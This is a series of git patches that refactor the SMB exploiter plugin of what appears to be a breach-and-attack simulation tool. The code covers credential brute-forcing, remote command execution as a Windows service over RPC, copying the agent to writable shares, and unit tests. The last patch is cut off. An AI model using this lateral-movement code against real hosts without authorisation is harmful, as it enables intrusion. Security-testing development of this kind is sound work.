00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:30:23 -0400 Subject: [PATCH 0838/1338] Agent: Use Set instead of MutableSet in BruteForceExploiter See also e3642f2b1c0fd590. --- .../exploit/tools/brute_force_exploiter.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 9d3a43ef0a0..8f27b41aca2 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -2,7 +2,7 @@ from contextlib import suppress from pathlib import PurePath from time import time -from typing import Callable, Iterable, MutableSet, Set +from typing import Callable, Iterable, Set from common import OperatingSystem from common.agent_events import ExploitationEvent, PropagationEvent @@ -100,7 +100,7 @@ def _exploit(self, exploit_client: IRemoteAccessClient, host: TargetHost, interr credential_combinations = self._get_credentials() for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): - tags: MutableSet[str] = set() + tags: Set[str] = set() timestamp = time() try: exploit_client.login(brute_force_credentials, tags) @@ -127,8 +127,8 @@ def _propagate( interrupt: Event, ): target_host_os = exploit_client.get_os() - copy_file_tags: MutableSet[str] = set() - execute_command_tags: MutableSet[str] = set() + copy_file_tags: Set[str] = set() + execute_command_tags: Set[str] = set() timestamp = time() try: @@ -158,7 +158,7 @@ def _copy_agent_binary( self, target_host_os: OperatingSystem, destination: PurePath, - tags: MutableSet[str], + tags: Set[str], exploit_client: IRemoteAccessClient, interrupt: Event, ) -> PurePath: From a02ba0aa69c71d2e577ff1499baab0f6bcf806e7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:32:35 -0400 Subject: [PATCH 0839/1338] UT: Add test_execute__succeeds() --- .../exploiters/smb/test_smb_exploit_client.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 61d67aab938..6ef42e98f0d 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -5,7 +5,7 @@ import pytest from agent_plugins.exploiters.smb.src.smb_client import ShareInfo, SMBClient -from agent_plugins.exploiters.smb.src.smb_exploit_client import SMBExploitClient +from agent_plugins.exploiters.smb.src.smb_exploit_client import EXECUTION_TAGS, SMBExploitClient from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS @@ -19,6 +19,7 @@ ) from infection_monkey.i_puppet import TargetHost +EXPLOITER_TAGS = {"smb-exploiter", "unit-test"} COMMAND = "command" CREDENTIALS: List[Credentials] = [] DESTINATION_PATH = PurePath("destination_path") @@ -81,6 +82,17 @@ def test_execute__fails_if_command_not_executed( smb_exploit_client.execute_detached(COMMAND, set()) +def test_execute__succeeds( + mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, +): + tags = EXPLOITER_TAGS.copy() + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_exploit_client.execute_detached(COMMAND, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) + + def test_copy_file__fails_if_not_authenticated( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, From 2e8c59293a60e9bfd6906d317c5439af87915320 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:33:58 -0400 Subject: [PATCH 0840/1338] UT: Test tags set in test_login__succeeds() --- .../exploiters/smb/test_smb_exploit_client.py | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 6ef42e98f0d..68bda8c8b62 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -5,7 +5,11 @@ import pytest from agent_plugins.exploiters.smb.src.smb_client import ShareInfo, SMBClient -from agent_plugins.exploiters.smb.src.smb_exploit_client import EXECUTION_TAGS, SMBExploitClient +from agent_plugins.exploiters.smb.src.smb_exploit_client import ( + EXECUTION_TAGS, + LOGIN_TAGS, + SMBExploitClient, +) from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS @@ -53,7 +57,11 @@ def smb_exploit_client(mock_smb_client) -> SMBExploitClient: def test_login__succeeds( smb_exploit_client: SMBExploitClient, ): - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + tags = EXPLOITER_TAGS.copy() + + smb_exploit_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) def test_login__fails( @@ -87,6 +95,7 @@ def test_execute__succeeds( smb_exploit_client: SMBExploitClient, ): tags = EXPLOITER_TAGS.copy() + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) smb_exploit_client.execute_detached(COMMAND, tags) From ffb36a6d94c46332f2b23e7fc1cd7f1a05bbb99f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 16:37:46 +0000 Subject: [PATCH 0841/1338] SMB: Extract method _rpc_connect_to_port --- .../exploiters/smb/src/smb_client.py | 41 +++++++++++-------- 1 file changed, 23 insertions(+), 18 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 7c81dd9bf69..53a44d570b2 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -187,14 +187,7 @@ def run_service( :param timeout: An RPC connection timeout :raises Exception: If an error occurred while connecting over SMB """ - rpc: Optional[transport.DCERPCTransport] = None - for port in ports_to_try: - rpc = SMBClient._rpc_connect(host, port, credentials, timeout) - if rpc: - break - if not rpc: - raise Exception("Failed to establish an RPC connection over SMB") - + rpc = SMBClient._rpc_connect(host, ports_to_try, credentials, timeout) rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(rpc) sc_handle = resp["lpScHandle"] @@ -228,8 +221,25 @@ def run_service( scmr.hRCloseServiceHandle(rpc, service_handle) @staticmethod - def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: float): + def _rpc_connect( + host: TargetHost, ports: Sequence[NetworkPort], credentials: Credentials, timeout: float + ) -> transport.DCERPCTransport: """Connects to the remote host and returns the RPC connection""" + for port in ports: + try: + return SMBClient._rpc_connect_to_port(host, port, credentials, timeout) + except Exception as err: + logger.debug(f"Failed to create RPC connection on port {port}: {err}") + raise Exception("Failed to establish an RPC connection over SMB") + + @staticmethod + def _rpc_connect_to_port( + host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: float + ) -> transport.DCERPCTransport: + """ + Connects to the remote host over the specified port and returns the RPC connection. + :raises Exception: If connection fails + """ rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") rpc_transport.set_connect_timeout(timeout) rpc_transport.set_dport(port) @@ -243,15 +253,10 @@ def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, ) rpc_transport.set_kerberos(False) - try: - rpc = SMBClient._dce_rpc_connect(rpc_transport) - smb = rpc_transport.get_smb_connection() - smb.setTimeout(timeout) - return rpc - except Exception as err: - logger.debug(f"An error occurred while getting RPC connection on port {port}: {err}") - - return None + rpc = SMBClient._dce_rpc_connect(rpc_transport) + smb = rpc_transport.get_smb_connection() + smb.setTimeout(timeout) + return rpc @staticmethod def _dce_rpc_connect(rpc_transport) -> DCERPC_v5: From ce42207f693c1f5df3cf4dff28480b742f48407d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 16:40:54 +0000 Subject: [PATCH 0842/1338] SMB: Make ShareInfo a dataclass --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 53a44d570b2..7b72e245cd3 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -1,4 +1,5 @@ import logging +from dataclasses import dataclass from typing import Any, Dict, Optional, Sequence, Tuple, Type from impacket.dcerpc.v5 import scmr, srvs, transport @@ -15,14 +16,14 @@ ERROR_SERVICE_EXISTS = 1073 +@dataclass class ShareInfo: """Stores information about a SMB share""" - def __init__(self, name: str, path: str, current_uses: int, max_uses: int): - self.name = name - self.path = path - self.current_uses = current_uses - self.max_uses = max_uses + name: str + path: str + current_uses: int + max_uses: int @staticmethod def from_dict(share_info_dict: Dict[str, Any]) -> "ShareInfo": From f5ed684df66bf437c32226ec49d27ae07ed16fa4 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 16:43:54 +0000 Subject: [PATCH 0843/1338] SMB: Propagate errors from SMBClient._dce_rpc_connect --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 7b72e245cd3..50fa6a421fc 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -263,16 +263,12 @@ def _rpc_connect_to_port( def _dce_rpc_connect(rpc_transport) -> DCERPC_v5: """ Establishes a DCE/RPC connection over a given transport stream + :return: A DCE/RPC connection :raises Exception: If an error occurred while connecting to the remote host """ rpc = rpc_transport.get_dce_rpc() - try: - rpc.connect() - return rpc - except Exception as err: - error_message = f"Failed to RPC connect to host: {err}" - logger.debug(error_message) - raise Exception(error_message) + rpc.connect() + return rpc def send_file(self, share_name: str, path_name: str, callback): """ From 32baee550df691d2d5e1106a33fe87484ebf5b02 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:35:38 -0400 Subject: [PATCH 0844/1338] UT: Test that tags are still set if login fails --- .../agent_plugins/exploiters/smb/test_smb_exploit_client.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 68bda8c8b62..4c528b7850d 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -68,9 +68,13 @@ def test_login__fails( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, ): + tags = EXPLOITER_TAGS.copy() mock_smb_client.connect_with_user.side_effect = Exception() + with pytest.raises(RemoteAuthenticationError): - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_exploit_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) def test_execute__fails_if_not_authenticated( From 1f60afb2c34f5f2e6a0ca9eeeffd6c4cc8681cc4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:37:46 -0400 Subject: [PATCH 0845/1338] UT: Test that tags are set properly if execute fails --- .../exploiters/smb/test_smb_exploit_client.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 4c528b7850d..83d19a6e43b 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -80,18 +80,26 @@ def test_login__fails( def test_execute__fails_if_not_authenticated( smb_exploit_client: SMBExploitClient, ): + tags = EXPLOITER_TAGS.copy() + with pytest.raises(RemoteCommandExecutionError): - smb_exploit_client.execute_detached(COMMAND, set()) + smb_exploit_client.execute_detached(COMMAND, tags) + + assert tags == EXPLOITER_TAGS def test_execute__fails_if_command_not_executed( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, ): + tags = EXPLOITER_TAGS.copy() mock_smb_client.run_service.side_effect = Exception("file") smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + with pytest.raises(RemoteCommandExecutionError): - smb_exploit_client.execute_detached(COMMAND, set()) + smb_exploit_client.execute_detached(COMMAND, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) def test_execute__succeeds( From 09a482e553fc5257304873544a5d02eb0ab68223 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:39:50 -0400 Subject: [PATCH 0846/1338] SMB: Change method order in SMBExploitClient --- .../exploiters/smb/src/smb_exploit_client.py | 56 ++++++++++--------- 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index c826f0fdc09..77883e2ac08 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -47,6 +47,7 @@ } +# Should this just be a variable? class CopiedFileDetails: """Stores the details of a copied file""" @@ -151,6 +152,33 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): raise RemoteFileCopyError(error_message) raise RemoteFileCopyError("No writable shares found") + def _connect_to_share(self, share: ShareInfo): + """ + Gets the SMB share + + :param share: The share to connect to + :raise Exception: If the share cannot be connected to + """ + + # TODO: Do we really need to handle reconnects? + if not self._smb_client.connected(): + if not self._authenticated_credentials: + raise RemoteFileCopyError("Not authenticated") + try: + self._smb_client.connect_with_user( + self._host, self._authenticated_credentials, self._options.smb_connect_timeout + ) + except Exception as err: + raise RemoteFileCopyError(f"Not connected: {err}") + + try: + self._smb_client.connect_to_share(share.name) + except Exception as err: + logger.error( + f'Error connecting tree to share "{share.path}" on victim {self._host.ip}: {err}' + ) + raise RemoteFileCopyError(err) + def get_writable_paths(self) -> List[PurePath]: # 1. I query for shares on the remote machine # 2. I output the local paths for each share @@ -158,6 +186,7 @@ def get_writable_paths(self) -> List[PurePath]: logger.debug("Retrieving writable paths") writable_paths = [ + # TODO: Why are we casting this? PurePath(PureWindowsPath(info.path)) for info in self._query_shares(self._destination_path) ] @@ -194,30 +223,3 @@ def _query_shares(self, path: PurePath) -> Tuple[ShareInfo, ...]: low_priority_shares += (share,) return high_priority_shares + low_priority_shares - - def _connect_to_share(self, share: ShareInfo): - """ - Gets the SMB share - - :param share: The share to connect to - :raise Exception: If the share cannot be connected to - """ - - # TODO: Do we really need to handle reconnects? - if not self._smb_client.connected(): - if not self._authenticated_credentials: - raise RemoteFileCopyError("Not authenticated") - try: - self._smb_client.connect_with_user( - self._host, self._authenticated_credentials, self._options.smb_connect_timeout - ) - except Exception as err: - raise RemoteFileCopyError(f"Not connected: {err}") - - try: - self._smb_client.connect_to_share(share.name) - except Exception as err: - logger.error( - f'Error connecting tree to share "{share.path}" on victim {self._host.ip}: {err}' - ) - raise RemoteFileCopyError(err) From 79f2b88dc57d2f1f3fbb7aa767356b81ec78b1dd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:45:16 -0400 Subject: [PATCH 0847/1338] SMB: Use NetworkPort for SMB ports --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 77883e2ac08..d7b461e8879 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -15,6 +15,7 @@ T1210_ATTACK_TECHNIQUE_TAG, T1569_ATTACK_TECHNIQUE_TAG, ) +from common.types import NetworkPort from infection_monkey.exploit.tools import ( IRemoteAccessClient, RemoteAuthenticationError, @@ -45,6 +46,7 @@ T1210_ATTACK_TECHNIQUE_TAG, # Exploitation of Remote Services T1569_ATTACK_TECHNIQUE_TAG, # Execution: System Services } +SMB_PORTS = [NetworkPort(139), NetworkPort(445)] # Should this just be a variable? @@ -97,7 +99,7 @@ def execute_detached(self, command: str, tags: Set[str]): SERVICE_NAME, command, self._host, - [139, 445], + SMB_PORTS, self._authenticated_credentials, self._options.smb_connect_timeout, ) From 4f08285685ead5d7f9a38177c8227bb16d485ade Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:50:27 -0400 Subject: [PATCH 0848/1338] SMB: Reduce duplicate authentication checking code --- .../exploiters/smb/src/smb_exploit_client.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index d7b461e8879..43dad7af94a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -3,7 +3,7 @@ # import ntpath from io import BytesIO from pathlib import PurePath, PureWindowsPath -from typing import List, Optional, Set, Tuple +from typing import List, Optional, Set, Tuple, Type from common import OperatingSystem from common.credentials import Credentials @@ -86,12 +86,17 @@ def login(self, credentials: Credentials, tags: Set[str]): self._authenticated_credentials = credentials + def _raise_if_not_authenticated(self, error_type: Type[Exception]): + if self._authenticated_credentials is None: + raise error_type( + "This operation cannot be performed until authentication is successful" + ) + def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS def execute_detached(self, command: str, tags: Set[str]): - if not self._authenticated_credentials: - raise RemoteCommandExecutionError("Not authenticated") + self._raise_if_not_authenticated(RemoteCommandExecutionError) try: tags.update(EXECUTION_TAGS) @@ -164,8 +169,7 @@ def _connect_to_share(self, share: ShareInfo): # TODO: Do we really need to handle reconnects? if not self._smb_client.connected(): - if not self._authenticated_credentials: - raise RemoteFileCopyError("Not authenticated") + self._raise_if_not_authenticated(RemoteFileCopyError) try: self._smb_client.connect_with_user( self._host, self._authenticated_credentials, self._options.smb_connect_timeout From d78510bafbbaf085871b2458f0aab0790a102e99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:51:59 -0400 Subject: [PATCH 0849/1338] SMB: Abort the copy_file() operation if the client is not authenticated --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 43dad7af94a..d69a971b08c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -112,6 +112,8 @@ def execute_detached(self, command: str, tags: Set[str]): raise RemoteCommandExecutionError(err) def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): + self._raise_if_not_authenticated(RemoteFileCopyError) + self._destination_path = destination_path tags.update((T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)) self._smb_client.query_server_info() From 56fc7ef7a19a8837c8a76fc733f0823035e44909 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:54:01 -0400 Subject: [PATCH 0850/1338] SMB: Remove unnecessary call to SMBClient.query_server_info() --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index d69a971b08c..13a304e1545 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -116,7 +116,6 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._destination_path = destination_path tags.update((T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)) - self._smb_client.query_server_info() tags.add(T1135_ATTACK_TECHNIQUE_TAG) From 89e650967085c6e1aa320e064e9c0f8a8876c3d5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:54:17 -0400 Subject: [PATCH 0851/1338] SMB: Remove disused SMBClient.query_server_info() --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 50fa6a421fc..4b64355737a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -126,14 +126,6 @@ def connect_to_share(self, share_name: str): """ self._get_smb_connection().connectTree(share_name) - def query_server_info(self): - """Get SMB Server info by executing RPC call""" - try: - return self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) - except Exception as err: - logger.debug(f"Failed to query server info: {err}") - raise Exception(f"No server information is available: {err}") - def query_shared_resources(self) -> Tuple[ShareInfo, ...]: """ Get available network shares. From f1d1fa4f6fefda68b4c6ff61122a4701269e0a61 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 16:49:36 +0000 Subject: [PATCH 0852/1338] SMB: Update docstrings for SMBClient --- .../exploiters/smb/src/smb_client.py | 34 +++++++++++-------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 4b64355737a..a84679f3b70 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -54,6 +54,8 @@ def secret_for_type(credentials: Credentials, secret_type: Type) -> str: class SMBClient: + """Wraps an SMB connection and provides methods for interacting with it""" + def __init__(self): self._smb_connection: Optional[SMBConnection] = None @@ -62,11 +64,11 @@ def connected(self) -> bool: def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: float): """ - Connect to target host SMB services using credentials + Connect to target host over SMB :param host: A target host to which to connect - :param credentials: Credentials used for connections - :param timeout: An SMB connection timeout + :param credentials: Credentials to use when connecting + :param timeout: SMB connection timeout :raise Exception: If connection fails """ self._create_smb_connection(host) @@ -119,16 +121,16 @@ def _logout_guest(self): def connect_to_share(self, share_name: str): """ - Connects to a share on the remote host + Connects to a share over an active connection - :param share_name: Name of SMB share + :param share_name: Name of the SMB share to connect to :raises SessionError: If an error occurred while connecting to share """ self._get_smb_connection().connectTree(share_name) def query_shared_resources(self) -> Tuple[ShareInfo, ...]: """ - Get available network shares. + Get available network shares :return: A tuple of shares information """ @@ -140,7 +142,7 @@ def query_shared_resources(self) -> Tuple[ShareInfo, ...]: logger.debug(f"Failed to query shared resources: {err}") return () - def _execute_rpc_call(self, rpc_func, *args): + def _execute_rpc_call(self, rpc_func, *args) -> Any: """ Executes an RPC call using DCE/RPC transport protocol @@ -170,14 +172,14 @@ def run_service( timeout: float, ): """ - Run a service on the remote host. + Run a command as a service on the remote host. - :param service_name: Name of the service to run + :param service_name: Name to give the service to run :param command: Command to be run - :param host: A target host on which we run the service + :param host: Target host on which to run the service :param ports_to_try: A list of network ports :param credentials: Credentials used for authentication - :param timeout: An RPC connection timeout + :param timeout: Timeout to use for the RPC connection :raises Exception: If an error occurred while connecting over SMB """ rpc = SMBClient._rpc_connect(host, ports_to_try, credentials, timeout) @@ -274,6 +276,10 @@ def send_file(self, share_name: str, path_name: str, callback): self._get_smb_connection().putFile(share_name, path_name, callback) def set_timeout(self, timeout: float): - """Set the connection timeout, in seconds""" - if self._smb_connection is not None: - self._smb_connection.setTimeout(timeout) + """ + Set the connection timeout + + :param timeout: Connection timeout, in seconds + :raises Exception: If an error occurs + """ + self._get_smb_connection().setTimeout(timeout) From 7bacc5aa010f867c1dd090dbdaf617b4efdca514 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 13:05:38 -0400 Subject: [PATCH 0853/1338] SMB: Simplify SMBExploitClient._query_shares() --- .../exploiters/smb/src/smb_exploit_client.py | 46 +++++++------------ 1 file changed, 17 insertions(+), 29 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 13a304e1545..a6d080147d5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -115,9 +115,9 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._raise_if_not_authenticated(RemoteFileCopyError) self._destination_path = destination_path - tags.update((T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)) - - tags.add(T1135_ATTACK_TECHNIQUE_TAG) + tags.update( + (T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, T1135_ATTACK_TECHNIQUE_TAG) + ) logger.debug( f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" @@ -127,7 +127,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): # 2. I query for shares on the remote machine # 3. I check to see if the local path is a subpath of any of the shares # a. If it is, I copy the file to the share - for share in self._query_shares(destination_path): + for share in self._query_shares(): if not str(destination_path).lower().startswith(share.path.lower()): continue @@ -189,27 +189,17 @@ def _connect_to_share(self, share: ShareInfo): def get_writable_paths(self) -> List[PurePath]: # 1. I query for shares on the remote machine # 2. I output the local paths for each share - if self._destination_path: - logger.debug("Retrieving writable paths") - - writable_paths = [ - # TODO: Why are we casting this? - PurePath(PureWindowsPath(info.path)) - for info in self._query_shares(self._destination_path) - ] - return writable_paths - return [] - - def _query_shares(self, path: PurePath) -> Tuple[ShareInfo, ...]: - """ - Queries the host for SMB shares. + logger.debug("Retrieving writable paths") - :param path: An SMB shares path - :return: A tuple consisting of share name and info pairs - """ - high_priority_shares: Tuple[ShareInfo, ...] = () - low_priority_shares: Tuple[ShareInfo, ...] = () + writable_paths = [ + # TODO: Why are we casting this? + PurePath(PureWindowsPath(info.path)) + for info in self._query_shares() + ] + return writable_paths + def _query_shares(self) -> Tuple[ShareInfo, ...]: + writable_shares = [] for share in self._smb_client.query_shared_resources(): if share.current_uses >= share.max_uses: logger.debug( @@ -217,16 +207,14 @@ def _query_shares(self, path: PurePath) -> Tuple[ShareInfo, ...]: f"{self._host.ip} because max uses is exceeded", ) continue - elif not share.path: + + if not share.path: logger.debug( f"Skipping share '{share.name}' on victim " f"{self._host.ip} because share path is invalid", ) continue - if str(path).lower().startswith(share.path.lower()): - high_priority_shares += (share,) - - low_priority_shares += (share,) + writable_shares.append(share) - return high_priority_shares + low_priority_shares + return tuple(writable_shares) From 38d30811373519c375eb6959060c5b7be94c0196 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 17:59:42 +0000 Subject: [PATCH 0854/1338] SMB: Change ShareInfo.path to PureWindowsPath --- .../exploiters/smb/src/smb_client.py | 9 ++++---- .../exploiters/smb/src/smb_exploit_client.py | 23 ++++++++----------- .../exploiters/smb/test_smb_exploit_client.py | 8 +++---- 3 files changed, 18 insertions(+), 22 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index a84679f3b70..68d5acdbaa2 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -1,5 +1,6 @@ import logging from dataclasses import dataclass +from pathlib import PureWindowsPath from typing import Any, Dict, Optional, Sequence, Tuple, Type from impacket.dcerpc.v5 import scmr, srvs, transport @@ -21,7 +22,7 @@ class ShareInfo: """Stores information about a SMB share""" name: str - path: str + path: PureWindowsPath current_uses: int max_uses: int @@ -29,7 +30,7 @@ class ShareInfo: def from_dict(share_info_dict: Dict[str, Any]) -> "ShareInfo": return ShareInfo( share_info_dict["shi2_netname"].strip("\0 "), - share_info_dict["shi2_path"].strip("\0 "), + PureWindowsPath(share_info_dict["shi2_path"].strip("\0 ")), share_info_dict["shi2_current_uses"], share_info_dict["shi2_max_uses"], ) @@ -264,7 +265,7 @@ def _dce_rpc_connect(rpc_transport) -> DCERPC_v5: rpc.connect() return rpc - def send_file(self, share_name: str, path_name: str, callback): + def send_file(self, share_name: str, path_name: PureWindowsPath, callback): """ Send a file to the remote host @@ -273,7 +274,7 @@ def send_file(self, share_name: str, path_name: str, callback): :param callback: A callback function that reads the file contents :raises Exception: If an error occurred while sending the file """ - self._get_smb_connection().putFile(share_name, path_name, callback) + self._get_smb_connection().putFile(share_name, str(path_name), callback) def 